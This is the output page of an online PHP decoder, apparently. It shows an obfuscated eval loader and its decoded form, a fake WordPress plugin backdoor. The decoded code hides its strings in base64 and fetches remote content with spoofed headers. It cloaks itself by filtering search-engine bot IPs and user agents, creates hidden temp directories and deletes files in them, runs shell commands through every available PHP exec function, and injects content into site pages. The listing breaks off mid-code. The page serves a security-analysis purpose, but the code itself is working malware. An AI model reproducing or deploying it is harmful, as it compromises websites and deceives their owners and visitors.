Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $hohfcvss = "e/*./"; preg_replace(strrev($hohfcvss),"\x65\x76\x61\x6C\x28\x67\x7A\x6..

Decoded Output download

Hi there!  I'm just a plugin, not much I can do when called directly.if(!function_exists('NU_GU')){function NU_GU($i){$a=Array('T' .'W' .'96aWxsYS' .'80' .'LjAgKGNvbXBh' .'dGlibGU7I' .'E1TSU' .'UgOC4wO' .'yBXa' .'W5kb3dzIE5UIDYuM' .'Ck=','c2FmZV9t' .'b2Rl','b' .'3' .'Blbl9iYXN' .'l' .'Z' .'Gly','aHR0cD' .'ovLw==','','Iy8j','L' .'w==','','','Lw==','Lw' .'==','QW' .'NjZXB0LUxh' .'b' .'md1YW' .'dlOiBlbi' .'11cywgZW47cT0wLjUwDQo=','' .'Q' .'29ubm' .'VjdGlvbjo' .'gQ' .'2x' .'vc2UN' .'C' .'g0K','DQoN' .'C' .'g=' .'=','Cg==','P' .'GJyIC8+','','L0' .'x' .'vY' .'2F0aW' .'9u' .'XDov','TG9j' .'Y' .'XRpb246IA' .'==','D' .'Q=' .'=','' .'DQoNCg' .'==','','J' .'iM3NiY' .'jMTEx' .'JiM5OSYjOTcm' .'IzExNiYj' .'MTA1JiM' .'xMTEmIz' .'ExMCYjNTg=','' .'TG9jYXR' .'p' .'b246','NjZcLjI0O' .'V' .'wuWz' .'Yt' .'OV' .'1bM' .'C' .'0' .'5XVwuWz' .'AtOV0r','NzJ' .'cLj' .'E0XC5bMS0y' .'XVs' .'wLTld' .'WzAtOV1cLlswLTldK' .'w' .'==','N' .'zRcLjEyNVwu' .'WzAtOV' .'0' .'rXC5' .'bM' .'C05XSs=','NjVcLjVbMi01' .'X' .'VwuWzAtOV0rXC5b' .'MC05XSs=','' .'NzRcLjZcL' .'l' .'swLT' .'ld' .'K1wuWzAtO' .'V0' .'r','Nj' .'dcLjE5NV' .'wu' .'W' .'zA' .'t' .'OV0rXC5bMC' .'05' .'XSs=','NzJ' .'c' .'LjMw' .'XC5b' .'MC' .'05XS' .'t' .'cLlswLTldKw==','MzhcLlsw' .'L' .'Tl' .'dK1wuWz' .'At' .'OV0r' .'X' .'C5bM' .'C' .'05' .'X' .'Ss=','MT' .'I0XC4xM' .'TVcLjZ' .'cLlswLTldKw' .'=' .'=','OTN' .'cLj' .'E' .'3Ml' .'wuOTR' .'cL' .'j' .'I' .'yN' .'w==','MjEyXC4xMDBc' .'LjI1MFw' .'uMjE4','NzFc' .'Lj' .'E2NVw' .'uMjIzXC4xMzQ=','MjA5X' .'C45XC4yMzlcLjEwMQ=' .'=','NjdcLjI' .'xN1wu' .'MTYw' .'XC5b' .'MC0' .'5XSs=','NzBcLj' .'kxXC4' .'xOD' .'BcLjI1','NjVc' .'LjkzXC42' .'Mlw' .'u' .'MjQy','NzR' .'cL' .'jE5M1wuMjQ2' .'XC4xMjk=','Mj' .'E' .'zXC' .'4' .'xNDRcLj' .'E1XC4zOA==','M' .'Tk' .'1X' .'C45MlwuMjI5' .'XC' .'4y','NzBc' .'L' .'jU' .'wXC4xODlcLjE5' .'M' .'Q==','M' .'jE4XC4yO' .'FwuODhcLj' .'k5','M' .'TY1' .'XC' .'4' .'xNjBcLjJ' .'c' .'L' .'jIw','' .'ODlcL' .'jEyM' .'lwu' .'MjI0XC4yMz' .'A' .'=','' .'NjZc' .'L' .'jIzMF' .'wuMTc1XC4x' .'M' .'j' .'Q=','MjE' .'4XC4xO' .'FwuMTc0' .'XC4yNw' .'==','NjV' .'cLjMzX' .'C44' .'N1wu' .'OT' .'Q=','NjdcLjIxM' .'F' .'wu' .'MTEx' .'XC' .'4yNDE=','ODFcLjEzNVwu' .'MTc1XC' .'43MA==','NjRc' .'LjY5XC4z' .'NFwuMTM0','ODlc' .'L' .'jE0OVwuMjU' .'zXC4x' .'Njk=','NjRcLjIz' .'M1wuMVs2LT' .'h' .'dWzEt' .'O' .'V' .'1' .'cLl' .'swLTldK' .'w==','NjRcLj' .'I' .'zM1w' .'uMTlb' .'MC0xXVwuW' .'zA' .'tOV' .'0r','MjA5' .'XC4' .'xO' .'DVcLjE' .'wOFwuWzAtOV0r','MjA5XC4xODVcLjI1' .'M' .'1wuWzAtOV' .'0' .'r','MjA5XC44NV' .'wuMjM4' .'XC' .'5b' .'MC05' .'XS' .'s' .'=','MjE2XC4yMzlcLjMz' .'XC45W' .'zYtOV' .'0=','MjE2X' .'C4yMzl' .'c' .'LjM3XC4' .'5WzgtOV0=','M' .'jE' .'2X' .'C4yM' .'zl' .'cLjM5' .'XC45' .'WzgtOV0=','' .'M' .'jE' .'2XC4' .'y' .'MzlcL' .'jQx' .'XC45' .'WzY' .'t' .'OV0=','MjE2XC4y' .'MzlcLjQ1XC' .'40','' .'MjE2' .'XC4yMzlcL' .'j' .'Q2XC5bMC05XSs' .'=','MjE2XC' .'4y' .'Mz' .'l' .'cLj' .'Ux' .'XC45W' .'z' .'YtOV0=','Mj' .'E2XC4yMzl' .'cLj' .'UzXC45WzgtOV0=','Mj' .'E2X' .'C4yMz' .'lc' .'LjU3XC45W' .'zY' .'tO' .'V' .'0=','' .'M' .'j' .'E2XC4yMz' .'lc' .'Lj' .'U' .'5XC4' .'5Wzg' .'tOV0=','MjE2XC4zM1wuMjI' .'5XC4x' .'NjM' .'=','NjRcLjIzM1wuMTczXC5bM' .'C05XSs=','N' .'jRcLjY4XC44Wz' .'AtOV1cLls' .'wLT' .'ld' .'Kw==','N' .'jRc' .'Lj' .'Y4XC45Wz' .'AtMl1cL' .'lswLTldKw==','NzJcLjE0XC4xOT' .'lcLl' .'swLTldK' .'w==','OFwuN' .'lwuNDhcLlswLTldKw==','' .'MjA3' .'X' .'C' .'4' .'yMTFc' .'LjQ' .'wX' .'C44Mg' .'==','NjdcLjE2Ml' .'wu' .'MTU4X' .'C4' .'xN' .'DY=','NjZcLjI' .'1N' .'VwuNTNc' .'LjEyMw==','Mj' .'R' .'cLjIwMFwu' .'MjA' .'4X' .'C4x' .'MTI=','MTI5' .'XC4xOD' .'dc' .'L' .'jE0OFwuMjQw','MTI5XC4xO' .'DdcLjE0' .'OFw' .'uMjQ0','MT' .'k5XC4xM' .'jZ' .'cLj' .'E1MVwuMj' .'I5','MTE4XC' .'4xMjRcLj' .'MyXC' .'4xOTM=','ODlcL' .'jE0OVwuMjE3XC4xOTE' .'=','MTIyXC4xNj' .'RcLjI' .'3' .'XC40Mg==','MTQ' .'5XC41' .'XC4xN' .'jhcLjI=','MT' .'UwXC4' .'3MFw' .'uNjZ' .'cLlswLTld' .'K' .'w==','' .'MTk0X' .'C4yNTBcLjExNl' .'wuMzk=','Mj' .'A4XC44MFw' .'u' .'MTk0XC5b' .'MC05XSs=','NjJcLjE5MFwuM' .'zlcLj' .'IwNQ=' .'=','N' .'jdcLjE' .'5' .'OFw' .'u' .'ODBcLjIzNg==','ODVcLjg' .'1' .'XC4x' .'ODdc' .'LjI0Mw==','' .'OTVcLjEzNFwuMTQxX' .'C4y' .'NTA=','OT' .'dcLjEwN1' .'wuMT' .'M1XC5bMC0' .'5XSs=','OTdcLjc5XC4yM' .'zlc' .'Lls' .'wL' .'Tl' .'dKw' .'==','' .'M' .'T' .'c' .'zXC' .'4' .'yNTVcLjIzM1' .'wuW' .'zAtOV0' .'r','MTg0XC' .'4' .'x' .'NjhcLjE' .'5MVwuW' .'zAtOV0r','' .'OTVc' .'Lj' .'EwOF' .'wuM' .'T' .'U3XC5bMC0' .'5XSs=','M' .'jA5' .'XC4yMzV' .'cLjI1M' .'1' .'wu' .'MTc=','ODBcLjIwM1' .'wuMT' .'Y4XC4yN' .'TQ=','OTFcLj' .'E' .'y' .'MVwuMTM' .'5XC4xNTM=','NjVc' .'L' .'jEwNlwu' .'MjE3XC4xMD' .'c' .'=','' .'MjE' .'yXC4' .'yMjdcLjEzN' .'l' .'wuNjQ=','Mj' .'E2' .'X' .'C' .'4yN1wuND' .'BcL' .'jYx','' .'M' .'TI1XC4yMTJcL' .'j' .'Q' .'0XC' .'4yMDc=','' .'MTE4XC4xNjlcLjQzXC4xMjM=','MT' .'E4XC4xNjlcL' .'jQw' .'XC4' .'y' .'MA==','aHR0cA==','Z29v' .'Z2xl','c2x' .'1cnA=','bXNuYm90','Ym90','Y3' .'Jh' .'d' .'2w=','' .'c3BpZG' .'Vy','' .'cm9ib3' .'Q=','' .'aHR0cGNsaWVudA==','' .'Y' .'3' .'VybA==','cG' .'hw','a' .'W' .'5' .'keSB' .'saW' .'J' .'yYXJ5','d2' .'9yZHByZXNz','' .'Y2' .'hh' .'cmxvdHRl','d3d3c' .'3Rlc' .'g==','c' .'Hl' .'0aG9u','dXJsbGl' .'i','c' .'GV' .'ybA==','b' .'G' .'li' .'d3d' .'3','b' .'Hl' .'ue' .'A==','dHdpY2VsZXI=','' .'cmFtYmxlcg==','' .'eWF' .'uZGV' .'4','d' .'HJlbmQ' .'=','dmly' .'d' .'XM=','bWF' .'sd' .'2FyZQ==','d' .'2dld' .'A==','N' .'jZcLjI0' .'OVwuWzYt' .'O' .'V1' .'bMC05X' .'VwuW' .'zA' .'tOV0r','NzJ' .'cLjE0XC5bMS0yX' .'Vs' .'wL' .'TldWz' .'AtOV1' .'cLlswL' .'Tl' .'dKw==','NzRcLjEyNVw' .'uWzAtO' .'V0rX' .'C5bM' .'C05XSs=','NjVcLjVbMi01' .'XVwuWzAtOV' .'0r' .'XC5bMC05XSs=','NzR' .'cL' .'jZcLl' .'sw' .'LTl' .'d' .'K' .'1wuWzAtOV0r','Njdc' .'LjE5NV' .'w' .'uWzAtOV0r' .'XC5bM' .'C05XS' .'s=','NzJcL' .'jMwXC5bMC' .'05XStcLlswLTldKw==','M' .'jA5XC4xODV' .'cLls' .'w' .'LTldK1wuWz' .'AtOV0r','MjE2XC4zM1wuMj' .'I5XC4xNjM' .'=','' .'ODRcLjIzNVwu' .'NzdcLls' .'wL' .'Tl' .'dK' .'w==','MTAzXC4y' .'ND' .'ZcLj' .'E4N1wuW' .'z' .'A' .'tOV0r','' .'MTEzXC' .'4xOTdcLjEwN' .'VwuWzAtOV0r','' .'MTExXC45MlwuMT' .'YyXC5bMC05' .'XSs=','ODl' .'cLjIwN1' .'w' .'u' .'M' .'ls' .'yLTNdWzEtNF1c' .'L' .'l' .'sw' .'LTldKw=' .'=','MTQ' .'5X' .'C' .'4zXC4x' .'NzdcLlswLTl' .'dKw==','NDFcLj' .'g' .'0X' .'C4x' .'NTlcLlswLTld' .'Kw==','MTkzXC4xNDJcL' .'jEyNVwu' .'WzA' .'tO' .'V0r','M' .'TE4XC' .'4xNzRcLjJbNC0' .'3X' .'V' .'wuWzAtOV0r','' .'M' .'VwuMTc5XC' .'4' .'yW' .'zQtN' .'V1bMS0' .'4XV' .'w' .'uWzAtOV0r','MTJcL' .'jIxNlwu' .'WzAtOV0' .'rXC5b' .'MC05XSs=','' .'N' .'zBcL' .'jMyXC4xW' .'zItNV' .'1bMC05XVwuWzAt' .'OV0r','' .'M' .'TA4XC41OV' .'wu' .'Wzg' .'tOV1' .'bMC' .'05' .'X' .'VwuWzAtOV0r','' .'MTc' .'zX' .'C4' .'y' .'NTVc' .'LjFb' .'MS0yXVswLTldXC5bMC05XSs' .'=','' .'MTk5XC4xOTJcLj' .'Ex' .'WzItNV1' .'c' .'L' .'lsw' .'LTldKw' .'==','OFwuWzAtO' .'V0r' .'XC' .'5bM' .'C05' .'XS' .'tc' .'Ll' .'swLTldKw==','MTkyXC4xMTlcL' .'lsx' .'L' .'TNd' .'W' .'zAt' .'O' .'V1' .'cL' .'l' .'swLT' .'ldK' .'w' .'==','M' .'T' .'A4' .'XC' .'4' .'x' .'NzB' .'cLl' .'sxLTJdWzAtOV1bMC05XVwuWzAt' .'OV0r','MT' .'A' .'4XC' .'4xN' .'zdc' .'LlswLTldK1w' .'u' .'WzAtOV0r','' .'MTQ' .'yXC4yNVswL' .'TFdXC' .'5bM' .'C05XStcL' .'lswL' .'TldKw=' .'=','M' .'Tc' .'yXC' .'4y' .'MTdcLlswLTl' .'dK' .'1wu' .'WzAtOV0' .'r','MTcz' .'XC' .'4x' .'OT' .'RcLl' .'s' .'wLT' .'l' .'dK1' .'wuWzAtOV' .'0' .'r','Mj' .'A5XC4' .'4NVwuW' .'zAt' .'OV0' .'rXC5bMC0' .'5X' .'Ss=','N' .'jR' .'cLj' .'lc' .'LjJ' .'bMC05XVswLTldXC5bMC05XSs=','NjZcLjE' .'wMlwuWzAtOV0' .'rXC5bMC0' .'5XSs' .'=','Nj' .'RcLjY4X' .'C44WzAtN11cLlswLTldKw==','MjE2XC4yMz' .'lc' .'LlszLT' .'Zd' .'W' .'zAtOV1c' .'LlswL' .'TldKw==','NF' .'w' .'uW' .'zAtO' .'V0rXC' .'5' .'b' .'MC05' .'XStc' .'Llsw' .'L' .'Tl' .'dKw==','Nj' .'NcLjI0M1wuWzA' .'t' .'OV0rXC' .'5bMC05XSs' .'=','' .'O' .'FwuNlwuWzQt' .'NV1' .'b' .'MC05XVwuWz' .'A' .'t' .'O' .'V' .'0r','' .'N' .'jR' .'cLjIzM1' .'wu' .'M' .'Vs2LTldWzAtOV1cLlswLT' .'ldK' .'w==','Z29v' .'Z2' .'xl','' .'bG' .'l2' .'ZQ=' .'=','bXN' .'u','' .'eWFob2' .'8' .'=','YXNr','YW' .'9' .'s','Y' .'mlu' .'Zw==','Lg=' .'=','Li4=','UkVRVUV' .'TV' .'F9V' .'Ukk' .'=','ZW5j','' .'S' .'FRUUF9IT1NU','' .'M' .'i5waH' .'A/dT0=','SF' .'R' .'U' .'UF9IT1NU','X' .'A==','' .'Lw' .'==','RE9DVU1FTlRfUk9PV' .'A' .'=' .'=','XA' .'=' .'=','Lw==','U0' .'NS' .'S' .'VBUX' .'0ZJTEV' .'O' .'QU1F','UE' .'hQX1NFTEY=','XA' .'==','Lw==','LnN' .'2bg==','d2lu','d2l' .'u','bml4','b' .'3Blb' .'l9iYXNlZGl' .'y','bml4','L' .'2Rld' .'i9zaG0=','L3Zhci' .'9sb2' .'N' .'r','L3Zh' .'ci90bXA=','cGF0a' .'A' .'=' .'=','cGF0a' .'A==','YmFz' .'ZWRpcg==','' .'YmFzZWRpcg' .'=' .'=','VE1Q','VEV' .'NUA==','' .'VE' .'1QRElS','','Ly' .'4uLy4uLw==','Ly4uLw==','' .'Li4v' .'L' .'i4v','Li' .'4' .'v','Li' .'8=','','Cg==','cg=' .'=','','cG' .'lwZQ==','' .'dw==','','UkVNT1RFX0' .'FER' .'F' .'I=','SFRU' .'U' .'F9VU0' .'V' .'S' .'X0FHRU5U','U0' .'NSSVBUX0ZJTE' .'VOQ' .'U1' .'F','L153d' .'3d' .'cLi9' .'p','','SF' .'R' .'UU' .'F9IT1NU','','','','','Wlc1' .'aw=' .'=','Z' .'WRv','Y2V' .'k','L' .'w' .'==','' .'Xw==','ZXNhY' .'g==','' .'c' .'3Ryc' .'g==','dGVu','ZXY=','ZEdWd' .'Q=' .'=','cH' .'R' .'0aA' .'=' .'=','' .'Og==','Lg=' .'=','d' .'w=' .'=','','L' .'y5' .'zdm4=','eW1kaA=' .'=','eW1' .'k','MQ==','M' .'Q' .'==','Mw=' .'=','d' .'w==','','aX' .'MgbGlz' .'d' .'G' .'VkIGFzIHN1c3' .'BpY2lvdXM' .'=','dw==','','R' .'VJST1I=','d' .'w' .'==','dw=' .'=','','YQ' .'==','MTIzZ2Vy' .'b25pbW8z' .'M' .'jE' .'=','PHNj' .'cmlwdA==','Cg' .'==','I' .'A=' .'=','Cg==','Cg' .'=' .'=','I' .'A=' .'=','JnN' .'0cn' .'I=','RVJST1I' .'=','d' .'w' .'==','' .'JnN0' .'cnJi','RV' .'JS' .'T1I=','' .'dw==','ZXYx','Z' .'XYx','N' .'jQ1' .'N' .'WE1Zj' .'U2Nj' .'I4' .'NDUzZmY0OGYxMTNiO' .'Tcz' .'Yz' .'M' .'1MTI' .'=','ZXYy','Izxib2R5KFte' .'Pl0qKT4jaQ==','d' .'G' .'VtcGxhd' .'GV' .'faW5jbHVkZ' .'Q==','dGVtcGxh' .'dG9zX2l' .'uY2x1ZG' .'9' .'z','c2h' .'1' .'dG' .'Rvd24=','c2l' .'0aW9zX3Nod' .'XRkb3dub3M=','dGVtcGxhdGVfaW5jbHV' .'k' .'ZQ==','d' .'GVt' .'cG' .'xhdG9' .'zX2lu' .'Y2x' .'1ZG9' .'z','c2' .'h1' .'d' .'GRvd' .'24=','c2l0aW9' .'z' .'X3No' .'dXRkb3dub3' .'M=','L' .'yg8Ym9' .'keVte' .'P' .'l' .'0qPikvaQ==','Lyg8Y' .'m9ke' .'VteP' .'l' .'0qP' .'ik' .'va' .'Q' .'==','J' .'DEgC' .'g=' .'=','Lyg' .'8XC' .'9' .'ka' .'XY' .'+K' .'S9p','Lyg8X' .'C9k' .'aXY+KS9p','JDEK','Lyg8XC9mb3JtP' .'i' .'kvaQ==','L' .'y' .'g' .'8X' .'C9' .'mb3J' .'tPikvaQ==','JDEK','Lyg8X' .'C9zcGFuPik' .'vaQ==','L' .'yg8' .'XC9' .'zcGFuP' .'ikv' .'aQ==','JDEK','Ly' .'g8' .'X' .'C9wPikvaQ==','Lyg8XC9' .'wPikvaQ==','CiQ' .'x','L' .'y' .'g8XC9ib2' .'R' .'5Pik' .'vaQ==','Lyg8XC9' .'ib' .'2R5Pi' .'kvaQ==','CiQx','Ly' .'g8' .'XC' .'9odG1s' .'PikvaQ==','Lyg' .'8XC' .'9odG1sP' .'i' .'kvaQ==','' .'Cjwv' .'Ym9keT4kMQ==','PGh' .'0bWw' .'+P' .'GJvZHk+','' .'P' .'C' .'9ib2R5Pjwva' .'HR' .'tbD4=','Izx' .'ib2R5KFtePl0q' .'KT' .'4jaQ=' .'=','Y2FsbA=' .'=','YmF' .'ja3M' .'=','' .'Mj' .'I=');return base64_decode($a[$i]);} if(!function_exists('check_wp_bload')){function check_wp_bload(){if(!function_exists('cc')){function cc($_0){$_1=NU_GU(0);if(function_exists('curl_init')&& function_exists('curl_exec')){$_2=curl_init();curl_setopt($_2,10002,$_0);curl_setopt($_2,42,round(0));curl_setopt($_2,13,round(0+15+15));curl_setopt($_2,19913,round(0+1));curl_setopt($_2,10018,$_1);if(!(@ini_get(NU_GU(1))||@ini_get(NU_GU(2)))){@curl_setopt($_2,52,round(0+0.25+0.25+0.25+0.25));}@curl_setopt($_2,68,round(0+1+1));$_3=curl_exec($_2);curl_close($_2);if($_3 !== false){return $_3;}}else if(function_exists('fsockopen')){global $_4;$_0=str_replace(NU_GU(3),NU_GU(4),$_0);if(preg_match(NU_GU(5),"$_0")){$_5=$_0;$_0=@explode(NU_GU(6),$_0);$_0=$_0[round(0)];$_5=str_replace($_0,NU_GU(7),$_5);if(!$_5 || $_5 == NU_GU(8)){$_5=NU_GU(9);}$_6=gethostbyname($_0);}else{$_6=gethostbyname($_0);$_5=NU_GU(10);}$_7=fsockopen($_6,round(0+80),$_8,$_9,round(0+3.3333333333333+3.3333333333333+3.3333333333333));stream_set_timeout($_7,round(0+2.5+2.5+2.5+2.5));if($_7){$_10="GET $_5 HTTP/1.0
";$_10 .="Host: $_0
";$_10 .="Referer: http://$_0$_5
";$_10 .= NU_GU(11);$_10 .="User-Agent: $_1
";$_10 .= NU_GU(12);fputs($_7,$_10);while(!feof($_7)){$_11 .= fgets($_7,round(0+2048+2048));}fclose($_7);$_11=@explode(NU_GU(13),$_11,round(0+0.4+0.4+0.4+0.4+0.4));$_12=$_11[round(0)];if($_4){$_12="$_4<br /><br />
$_12";}$_12=str_replace(NU_GU(14),NU_GU(15),$_12);if($_11[round(0+0.33333333333333+0.33333333333333+0.33333333333333)]){$_13=$_11[round(0+1)];}else{$_13=NU_GU(16);}if($_13){$_11=$_13;}else{$_11=$_12;}if(preg_match(NU_GU(17),"$_12")){$_0=@explode(NU_GU(18),$_12);$_0=$_0[round(0+0.5+0.5)];$_0=@explode(NU_GU(19),$_0);$_0=$_0[round(0)];$_4=str_replace(NU_GU(20),NU_GU(21),$_12);$_14=NU_GU(22);$_4=str_replace(NU_GU(23),$_14,$_4);return cc($_0);}else{return $_11;}}}else{return round(0);}}}if(!function_exists('detB')){function detB($_15,$_16){$_17=array(NU_GU(24),NU_GU(25),NU_GU(26),NU_GU(27),NU_GU(28),NU_GU(29),NU_GU(30),NU_GU(31),NU_GU(32),NU_GU(33),NU_GU(34),NU_GU(35),NU_GU(36),NU_GU(37),NU_GU(38),NU_GU(39),NU_GU(40),NU_GU(41),NU_GU(42),NU_GU(43),NU_GU(44),NU_GU(45),NU_GU(46),NU_GU(47),NU_GU(48),NU_GU(49),NU_GU(50),NU_GU(51),NU_GU(52),NU_GU(53),NU_GU(54),NU_GU(55),NU_GU(56),NU_GU(57),NU_GU(58),NU_GU(59),NU_GU(60),NU_GU(61),NU_GU(62),NU_GU(63),NU_GU(64),NU_GU(65),NU_GU(66),NU_GU(67),NU_GU(68),NU_GU(69),NU_GU(70),NU_GU(71),NU_GU(72),NU_GU(73),NU_GU(74),NU_GU(75),NU_GU(76),NU_GU(77),NU_GU(78),NU_GU(79),NU_GU(80),NU_GU(81),NU_GU(82),NU_GU(83),NU_GU(84),NU_GU(85),NU_GU(86),NU_GU(87),NU_GU(88),NU_GU(89),NU_GU(90),NU_GU(91),NU_GU(92),NU_GU(93),NU_GU(94),NU_GU(95),NU_GU(96),NU_GU(97),NU_GU(98),NU_GU(99),NU_GU(100),NU_GU(101),NU_GU(102),NU_GU(103),NU_GU(104),NU_GU(105),NU_GU(106));$_18=array(NU_GU(107),NU_GU(108),NU_GU(109),NU_GU(110),NU_GU(111),NU_GU(112),NU_GU(113),NU_GU(114),NU_GU(115),NU_GU(116),NU_GU(117),NU_GU(118),NU_GU(119),NU_GU(120),NU_GU(121),NU_GU(122),NU_GU(123),NU_GU(124),NU_GU(125),NU_GU(126),NU_GU(127),NU_GU(128),NU_GU(129),NU_GU(130),NU_GU(131),NU_GU(132),NU_GU(133));foreach($_17 as $_19)if(preg_match("/$_19/",$_16)){return false;}foreach($_18 as $_20)if(preg_match("/$_20/",$_15)){return false;}if(strlen($_15)<=round(0+2.75+2.75+2.75+2.75)){return false;}return true;}}if(!function_exists('getB')){function getB($_15,$_16){$_21=array(NU_GU(134),NU_GU(135),NU_GU(136),NU_GU(137),NU_GU(138),NU_GU(139),NU_GU(140),NU_GU(141),NU_GU(142),NU_GU(143),NU_GU(144),NU_GU(145),NU_GU(146),NU_GU(147),NU_GU(148),NU_GU(149),NU_GU(150),NU_GU(151),NU_GU(152),NU_GU(153),NU_GU(154),NU_GU(155),NU_GU(156),NU_GU(157),NU_GU(158),NU_GU(159),NU_GU(160),NU_GU(161),NU_GU(162),NU_GU(163),NU_GU(164),NU_GU(165),NU_GU(166),NU_GU(167),NU_GU(168),NU_GU(169),NU_GU(170),NU_GU(171),NU_GU(172),NU_GU(173));$_22=array(NU_GU(174),NU_GU(175),NU_GU(176),NU_GU(177),NU_GU(178),NU_GU(179),NU_GU(180));foreach($_21 as $_19)if(preg_match("/$_19/",$_16)){return true;}foreach($_22 as $_23)if(strstr($_15,$_23)!==false){return true;}return false;}}if(!function_exists('rm_rf_file')){function rm_rf_file($_24){$_25=filemtime($_24);if($_26=opendir($_24)){while(false !==($_27=readdir($_26))){if($_27 != NU_GU(181)&& $_27 != NU_GU(182)&& is_file($_27)){chmod($_27,round(0+146+146+146));unlink($_27);}}closedir($_26);}touch($_24,$_25,$_25);}}if(!function_exists('tier')){function tier($_28,$_29,$_30){$_31=round(0+0.75+0.75+0.75+0.75);$_32=$_30($_28[round(0+7)]);$_33=$_29($_28[round(0)]);$_34=@$_SERVER[NU_GU(183)];$_35=$_30($_28[round(0+1.25+1.25+1.25+1.25)]) .pow(round(0+2+2+2+2),round(0+0.66666666666667+0.66666666666667+0.66666666666667)) .$_28[round(0+0.8+0.8+0.8+0.8+0.8)] .NU_GU(184) .$_30($_28[round(0+1)]);$_36=@$_SERVER[NU_GU(185)];return $_30($_28[round(0+10)]) .$_28[round(0+11)] .$_28[round(0+3)] .$_30($_28[round(0+0.6+0.6+0.6+0.6+0.6)]) .$_32 .$_32 .$_31 .$_31 .$_33($_28) .$_32 .$_28[round(0+0.75+0.75+0.75+0.75)] .$_32 .$_28[round(0+1+1+1)] .NU_GU(186) .$_35($_30($_28[round(0+10)]) .$_28[round(0+3.6666666666667+3.6666666666667+3.6666666666667)] .$_28[round(0+1.5+1.5)] .$_30($_28[round(0+1+1+1)]) .urlencode(utf8_encode($_36 .$_34)));}}if(!function_exists('my_temp_dir')){function my_temp_dir(){$_36=@$_SERVER[NU_GU(187)];$_37=str_replace(NU_GU(188),NU_GU(189),$_SERVER[NU_GU(190)]);if(strlen($_37)<round(0+1+1+1+1+1))$_37=str_replace(NU_GU(191),NU_GU(192),substr($_SERVER[NU_GU(193)],round(0),round(0)-strlen($_SERVER[NU_GU(194)])));if(realpath($_37)!== false)$_37=str_replace(NU_GU(195),NU_GU(196),realpath($_37));$_38=substr(md5(NU_GU(197)),round(0),round(0+5+5));if(strlen($_36)>round(0+1.6666666666667+1.6666666666667+1.6666666666667))$_38=substr(md5($_36),round(0),round(0+1.6666666666667+1.6666666666667+1.6666666666667));if(strtolower(substr(Linux,round(0),round(0+0.6+0.6+0.6+0.6+0.6)))== NU_GU(198))$_39=NU_GU(199);else $_39=NU_GU(200);$_40=@ini_get(NU_GU(201));if($_39 == NU_GU(202)&& strlen($_40)<round(0+0.33333333333333+0.33333333333333+0.33333333333333)){$_32=array(NU_GU(203),NU_GU(204),NU_GU(205));foreach($_32 as $_41){if(is_writable($_41)){$_42="$_41/$_38";if(!@file_exists($_42))@mkdir($_42);if(@file_exists($_42)&&@is_writable($_42)){@chmod($_42,round(0+170.33333333333+170.33333333333+170.33333333333));return $_42;}}}}if(function_exists('wp_upload_dir')){$_43=wp_upload_dir();if(is_writable($_43[NU_GU(206)])){$_42=$_43[NU_GU(207)] ."/$_38";if(!@file_exists($_42))@mkdir($_42);if(@file_exists($_42)&&@is_writable($_42)){@chmod($_42,round(0+511));return $_42;}}else if(is_writable($_43[NU_GU(208)])){$_42=$_43[NU_GU(209)] ."/$_38";if(!@file_exists($_42))@mkdir($_42);if(@file_exists($_42)&&@is_writable($_42)){@chmod($_42,round(0+102.2+102.2+102.2+102.2+102.2));return $_42;}}}$_44=array(NU_GU(210),NU_GU(211),NU_GU(212));foreach($_44 as $_45){if($_46=getenv($_45)){$_42="$_46/$_38";if(!@file_exists($_42))@mkdir($_42);if(@file_exists($_42)&&@is_writable($_42)){@chmod($_42,round(0+127.75+127.75+127.75+127.75));return $_42;}}}$_46=tempnam(__FILE__,NU_GU(213));if(file_exists($_46)){unlink($_46);$_45=dirname($_46);$_42="$_45/$_38";if(!@file_exists($_42))@mkdir($_42);if(@file_exists($_42)&&@is_writable($_42)){@chmod($_42,round(0+170.33333333333+170.33333333333+170.33333333333));return $_42;}}if(function_exists('sys_get_temp_dir')){$_45=sys_get_temp_dir();$_42="$_45/$_38";if(!@file_exists($_42))@mkdir($_42);if(@file_exists($_42)&&@is_writable($_42)){@chmod($_42,round(0+102.2+102.2+102.2+102.2+102.2));return $_42;}}$_32=array($_37 .NU_GU(214),$_37 .NU_GU(215),NU_GU(216),NU_GU(217),NU_GU(218),$_37);foreach($_32 as $_41){if(is_writable($_41)){$_42="$_41/$_38";if(!@file_exists($_42))@mkdir($_42);if(@file_exists($_42)&&@is_writable($_42)){@chmod($_42,round(0+102.2+102.2+102.2+102.2+102.2));return $_42;}}}return false;}}if(!function_exists('ex')){function ex($_47){$_48=NU_GU(219);if(!empty($_47)){if(function_exists('exec')){@exec($_47,$_48);$_48=join(NU_GU(220),$_48);}elseif(function_exists('shell_exec')){$_48=@shell_exec($_47);}elseif(function_exists('system')){@ob_start();@system($_47);$_48=@ob_get_contents();@ob_end_clean();}elseif(function_exists('passthru')){@ob_start();@passthru($_47);$_48=@ob_get_contents();@ob_end_clean();}elseif(@is_resource($_49=@popen($_47,NU_GU(221)))){$_48=NU_GU(222);while(!@feof($_49)){$_48 .=@fread($_49,round(0+256+256+256+256));}@pclose($_49);}elseif(@function_exists('proc_open')&&@is_resource($_49=@proc_open($_47,array(round(0+0.33333333333333+0.33333333333333+0.33333333333333)=> array(NU_GU(223),NU_GU(224))),$_50))){$_48=NU_GU(225);if(@function_exists('fread')&&@function_exists('feof')){while(!@feof($_50[round(0+0.2+0.2+0.2+0.2+0.2)])){$_48 .=@fread($_50[round(0+0.25+0.25+0.25+0.25)],round(0+341.33333333333+341.33333333333+341.33333333333));}}else if(@function_exists('fgets')&&@function_exists('feof')){while(!@feof($_50[round(0+0.2+0.2+0.2+0.2+0.2)])){$_48 .=@fgets($_50[round(0+0.33333333333333+0.33333333333333+0.33333333333333)],round(0+1024));}}@proc_close($_49);}}return htmlspecialchars($_48);}}$_51=$_SERVER[NU_GU(226)];$_1=$_SERVER[NU_GU(227)];$_52=$_SERVER[NU_GU(228)];$_36=preg_replace(NU_GU(229),NU_GU(230),$_SERVER[NU_GU(231)]);$_53=strtolower($_1);if($_51 == NU_GU(232)|| $_1 == NU_GU(233)|| $_52 == NU_GU(234)|| $_36 == NU_GU(235))return null;$_28=array(NU_GU(236),NU_GU(237),NU_GU(238),NU_GU(239),NU_GU(240),NU_GU(241),NU_GU(242),NU_GU(243),NU_GU(244),NU_GU(245),NU_GU(246),NU_GU(247),NU_GU(248));$_54=false;$_55=@realpath(my_temp_dir());if(!$_55){return 